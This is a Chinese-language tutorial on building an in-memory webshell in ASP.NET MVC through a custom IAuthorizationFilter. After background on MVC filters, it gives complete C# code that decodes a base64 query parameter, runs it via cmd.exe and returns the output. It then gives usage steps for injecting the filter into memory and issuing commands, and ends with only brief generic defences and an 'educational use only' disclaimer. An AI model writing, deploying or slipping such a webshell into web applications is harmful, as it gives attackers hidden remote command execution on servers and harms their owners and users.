.NET MVC实现虚拟WebShell第3课之IAuthorizationFilter
字数 1026 2025-08-06 18:07:42
.NET MVC 实现虚拟 WebShell 之 IAuthorizationFilter 教学文档
0x01 背景知识
授权过滤器(IAuthorizationFilter)是 ASP.NET MVC 框架中的一个重要组件,位于认证过滤器(IAuthenticationFilter)之后,Action 方法执行之前。其主要功能包括:
- 完成授权相关的工作
- 在 Action 方法被调用前中断执行流程
- 可以用于实现安全控制或自定义逻辑
0x02 过滤器基础架构
FilterAttribute 基类
所有 MVC 过滤器默认继承自 FilterAttribute 基类:
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = false)]
public abstract class FilterAttribute : Attribute, IMvcFilter
{
// 实现细节...
}
关键特性:
- 可应用于类(Controller)和方法(Action)
- 默认
AllowMultiple = false(不允许同一过滤器多次应用) - 包含
Order属性控制执行顺序
IAuthorizationFilter 接口
public interface IAuthorizationFilter
{
void OnAuthorization(AuthorizationContext filterContext);
}
核心方法 OnAuthorization 接收一个 AuthorizationContext 参数,该上下文继承自 ControllerContext。
0x03 标准授权实现 - AuthorizeAttribute
MVC 框架提供的标准授权实现:
public class AuthorizeAttribute : FilterAttribute, IAuthorizationFilter
{
// 可授权的用户列表(逗号分隔)
public string Users { get; set; }
// 可授权的角色列表(逗号分隔)
public string Roles { get; set; }
// 核心授权检查方法
protected virtual bool AuthorizeCore(HttpContextBase httpContext) { /*...*/ }
// 授权失败处理
protected virtual void HandleUnauthorizedRequest(AuthorizationContext filterContext) { /*...*/ }
// IAuthorizationFilter 实现
public virtual void OnAuthorization(AuthorizationContext filterContext)
{
if (!AuthorizeCore(filterContext.HttpContext))
{
HandleUnauthorizedRequest(filterContext);
}
}
}
授权失败时会设置 HttpUnauthorizedResult,返回 401 状态码。
0x04 实现 WebShell
实现步骤
- 创建自定义授权过滤器类
- 实现
OnAuthorization方法 - 添加命令执行功能
代码实现
public class MyAuthorizationFilter : IAuthorizationFilter
{
public void OnAuthorization(AuthorizationContext filterContext)
{
// 获取请求参数
var content = filterContext.HttpContext.Request.QueryString["content"];
if (content != null)
{
HttpResponseBase response = filterContext.HttpContext.Response;
// 创建进程执行命令
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " +
Encoding.UTF8.GetString(Convert.FromBase64String(content));
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
// 读取命令输出
byte[] data = Encoding.Default.GetBytes(
p.StandardOutput.ReadToEnd() +
p.StandardError.ReadToEnd());
// 返回结果
response.Write("<pre>" + Encoding.Default.GetString(data) + "</pre>");
response.End();
}
}
}
使用方式
- 访问
/dotnetofAuthenticationFilter.aspx注入虚拟文件到内存 - 访问
/?content=dGFza2xpc3Q=(tasklist 的 base64 编码)执行命令
0x05 防御措施
- 输入验证:严格验证所有输入参数
- 权限控制:限制敏感操作权限
- 代码审查:定期检查自定义过滤器实现
- 日志监控:记录异常授权请求
- 使用官方授权机制:优先使用
AuthorizeAttribute
0x06 总结
IAuthorizationFilter 提供了强大的请求拦截能力,可以用于:
- 实现标准授权逻辑
- 创建自定义安全控制
- 执行前置处理逻辑
但同时也可能被滥用实现恶意功能,开发人员需要充分理解其工作机制并实施适当的安全措施。
注意:本文所述技术仅用于教育目的,切勿用于非法用途。